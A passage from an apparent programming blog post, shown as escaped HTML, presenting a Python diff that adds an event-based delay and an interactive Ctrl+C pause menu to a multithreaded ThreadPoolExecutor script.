&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; py_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;enable_custom_signal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;signal&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SIGINT&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; handle_int_signal&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a custom &quot;sleep&quot; function which uses events under the hood.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_delay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sec&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Interrupt detected, waiting for resume.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Block until resume is triggered.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Indicate quit preference with a flag.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resumed, but still interrupted. Exiting thread.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;interrupt&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[thread] Resuming...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_do_stuff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    sleep&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;thread_function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task waiting &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    thread_delay&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Delay between tasks using threading.Event.&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;[thread] task started &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    thread_do_stuff&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Simulate an IO task, e.g. requests.get().&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# A simple interactive menu to display during the paused state!&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Return True -&amp;gt; continue program. Return False -&amp;gt; quit.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main_pause_menu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;Do you want to continue? [y/n] &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;lower&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;KeyboardInterrupt&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; EOFError&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Treat Ctrl+C and Ctrl+D as &quot;no&quot;.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;Got &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__class__&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;. Quitting...&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;y&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# Start an executor with 2 threads and 8 tasks.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;            f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;            not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            enable_custom_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_set&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting. The processing shouldn&#39;t take&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# too long in order for the pause menu to show responsively&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# after Ctrl+C is hit.&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                        future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;                    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Triggered interrupt.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            enable_py_signal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Handle pause menu/input.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Continue jobs.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token comment&quot;&gt;# Cancel pending jobs.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Shutting down...&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;shutdown&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wait&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cancel_futures&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                quit_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished shutdown.&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            pause_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;clear&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Signal remaining threads to resume (and possibly quit).&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;                &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;mt_with_delay_and_pause.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;the-magic&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#the-magic&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Magic&lt;/h2&gt;
&lt;p&gt;So what voodoo did we add into the second script? It all comes down to &lt;code&gt;threading.Event&lt;/code&gt;, signals, and some extra flair.&lt;/p&gt;
